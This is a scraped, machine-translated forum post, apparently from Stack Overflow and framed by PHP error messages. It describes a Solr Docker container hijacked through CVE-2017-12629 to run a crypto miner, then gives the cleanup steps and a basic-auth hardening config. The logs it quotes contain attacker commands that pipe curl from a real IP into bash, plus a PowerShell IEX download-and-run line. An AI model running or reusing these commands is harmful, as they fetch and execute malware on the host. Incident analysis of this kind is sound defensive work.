Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/security/4.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/solr/3.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Security SolrException:加载类时出错';solr.RunExecutableListener'+'/var/tmp/sustes';过程_Security_Solr - Fatal编程技术网

Security SolrException:加载类时出错';solr.RunExecutableListener'+'/var/tmp/sustes';过程

Security SolrException:加载类时出错';solr.RunExecutableListener'+'/var/tmp/sustes';过程,security,solr,Security,Solr,史前: 我朋友的网站开始运行缓慢 本网站使用docker htop告诉我,所有内核都是通过用户8983的过程/var/tmp/sustes100%加载的。试图找出什么是sustes,但是谷歌没有帮助,但是8983告诉我们Solr容器中的问题 试图从v6更新Solr。?到7.4,并得到信息: o.a.s.c.SolrCore关闭时出错 ... 原因:org.apache.solr.common.SolrException:加载类时出错 “solr.RunExecutableListener” 回滚

史前:

  • 我朋友的网站开始运行缓慢
  • 本网站使用
    docker
  • htop
    告诉我,所有内核都是通过用户
    8983
    的过程
    /var/tmp/sustes
    100%加载的。试图找出什么是
    sustes
    ,但是谷歌没有帮助,但是
    8983
    告诉我们
    Solr
    容器中的问题
  • 试图从v6更新
    Solr
    。?到7.4,并得到信息:

    o.a.s.c.SolrCore关闭时出错
    ...
    原因:org.apache.solr.common.SolrException:加载类时出错
    “solr.RunExecutableListener”

    回滚到v6.6.4(作为docker hub上唯一可用的v6),因为站点应继续工作

  • Docker
    s日志中,我发现:

    [x:default]o.a.s.c.s.SolrConfigHandler成功执行了配置命令并分发到文件系统[{“更新侦听器”:{
    “exe”:“sh”,
    “名称”:“newlistener-02”,
    “args”:[
    -“c”,
    “curl-shttp://192.99.142.226:8220/mr.sh |bash-sh“],
    “事件”:“新闻搜索者”,
    “类”:“solr.RunExecutableListener”,
    “dir”:“/bin/”}}]

  • 因此,在我们可以找到安装crypto miner(crypto miner配置:)的恶意软件代码

  • 使用链接我们可以找到完整配置,但现在我们只需要
    listener
    部分:

    “侦听器”:[{
    “事件”:“新闻搜索者”,
    “类”:“solr.QuerySenderListener”,
    “查询”:[]},
    {
    “事件”:“firstSearcher”,
    “类”:“solr.QuerySenderListener”,
    “查询”:[]},
    {
    “exe”:“sh”,
    “名称”:“newlistener-02”,
    “args”:[“-c”,
    “curl-shttp://192.99.142.226:8220/mr.sh |bash-sh“],
    “事件”:“新闻搜索者”,
    “类”:“solr.RunExecutableListener”,
    “dir”:“/bin/”},
    {
    “exe”:“sh”,
    “名称”:“newlistener-25”,
    “args”:[“-c”,
    “curl-shttp://192.99.142.226:8220/mr.sh |bash-sh“],
    “事件”:“新闻搜索者”,
    “类”:“solr.RunExecutableListener”,
    “dir”:“/bin/”},
    {
    “exe”:“cmd.exe”,
    “名称”:“newlistener-00”,
    “args”:[“/c”,
    “powershell IEX(新对象Net.WebClient).DownloadString('http://192.99.142.248:8220/1.ps1')"],
    “事件”:“新闻搜索者”,
    “类”:“solr.RunExecutableListener”,
    “dir”:“cmd.exe”}],

  • 由于在
    solrconfig.xml
    中没有这样的设置,我在
    /opt/solr/server/solr/mycores/YOUR_CORE\u NAME/conf/configoverlay.json中找到了它们(该文件的设置可以在

  • 固定:

  • 清除
    configoverlay.json
    ,或者简单地删除此文件(
    rm/opt/solr/server/solr/mycores/YOUR_CORE\u NAME/conf/configoverlay.json

  • 重新启动Solr(如何启动\停止-)或重新启动docker容器


  • 据我所知,此次攻击可能是由于
    CVE-2017-12629

  • 如何使用CVE-2017-12629攻击Apache Solr-

  • CVE-2017-12629:从Solr中删除RunExecutableListener-

  • …并在v5.5.5、6.6.2+、7.1中固定+

    这是由于免费提供给任何人,所以尽管这个漏洞是固定的,让我们


  • 增加保护

    基于

    使用以下内容创建
    security.json

    {
    “身份验证”:{
    “blockUnknown”:正确,
    “类”:“solr.BasicAuthPlugin”,
    “凭证”:{“凭证”:“IV0EHq1OnNrj6gvRCwvFwTrZ1+z1oBbnQdiVC3otuq0=
    NDD7LKVBAAZIF0QAVI1EKCFAJXR1GGFTRUXHGRF8c=“}
    },
    “授权”:{
    “类”:“solr.RuleBasedAuthorizationPlugin”,
    “权限”:[{“名称”:“安全编辑”,
    “角色”:“管理员”}],
    “用户角色”:{“solr”:“admin”}
    }}

    此文件必须放在
    /opt/solr/server/solr/
    (即
    solr.xml
    旁边)

    由于
    Solr
    有自己的散列检查器(作为sha256(密码+salt)散列),这里不能使用典型的解决方案。我发现生成散列的最简单方法是从这里下载
    jar
    文件(在文章末尾),并将其作为
    java-jar SolrPasswordHash.jar NewPassword
    运行

  • 因为我使用了
    docker compose
    ,所以我只需像这样构建
    Solr

    # project/dockerfiles/solr/Dockerfile
    FROM solr:7.4
    ADD security.json /opt/solr/server/solr/
    
    # project/sources/docker-compose.yml (just Solr part)
    solr:
      build: ./dockerfiles/solr/
      container_name: solr-container
    
      # Check if 'default' core is created. If not, then create it.
      entrypoint:
        - docker-entrypoint.sh
        - solr-precreate
        - default
    
      # Access to web interface from host to container, i.e 127.0.0.1:8983
      ports:
        - "8983:8983"
      volumes:
      - ./dockerfiles/solr/default:/opt/solr/server/solr/mycores/default  # configs
      - ../data/solr/default/data:/opt/solr/server/solr/mycores/default/data  # indexes
    

    把它重新组织成一个合适的问题/答案,接受你自己的答案——你应该准备好了:——)